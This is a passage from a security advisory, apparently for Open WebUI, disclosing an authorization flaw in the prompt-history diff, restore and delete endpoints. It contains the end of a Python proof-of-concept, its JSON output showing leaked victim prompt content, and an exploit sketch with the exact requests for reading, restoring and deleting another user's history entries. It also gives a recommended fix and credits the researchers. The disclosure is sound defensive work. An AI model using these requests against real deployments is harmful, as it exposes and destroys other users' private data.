Details
diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
and fake_histories.compute_diff_calls
and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
),
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"victim_prompt_id": "victim-prompt",
"victim_history_ids": [victim_from_id, victim_to_id],
"prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
"compute_diff_calls": fake_histories.compute_diff_calls,
"leaked_from_snapshot": diff.get("from_snapshot"),
"leaked_to_snapshot": diff.get("to_snapshot"),
"source": {
"route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
"sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if __name__ == "__main__":
asyncio.run(main())
The PoC executes the real route function and the real `PromptHistories.compute_diff()` implementation with fake model/DB adapters. It authorizes the attacker against `attacker-prompt`, then supplies two victim history IDs. The route returns the victim prompt snapshots.
Result:
```json
{
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"confirmed": true,
"leaked_from_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
"name": "Victim Prompt"
},
"leaked_to_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
"name": "Victim Prompt"
},
"prompt_ids_authorized_by_route": [
"attacker-prompt"
],
"victim_history_ids": [
"victim-history-from",
"victim-history-to"
],
"victim_prompt_id": "victim-prompt"
}
Exploit Sketch
Read via the diff endpoint:
- Attacker has read access to
ATTACKER_PROMPT_ID. - Attacker knows two history IDs for a victim prompt:
VICTIM_FROM_HISTORY_IDandVICTIM_TO_HISTORY_ID. - Attacker requests:
GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID
- The server authorizes
ATTACKER_PROMPT_ID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.
Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
compute_diff()should acceptprompt_idand query both entries withPromptHistory.prompt_id == prompt_idalongside the id filter.delete_history_entry()should acceptprompt_idand filterfilter_by(id=history_id, prompt_id=prompt_id).update_prompt_version()should rejecthistory_entry.prompt_id != prompt_idbefore restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:
- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
update/versionrestore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.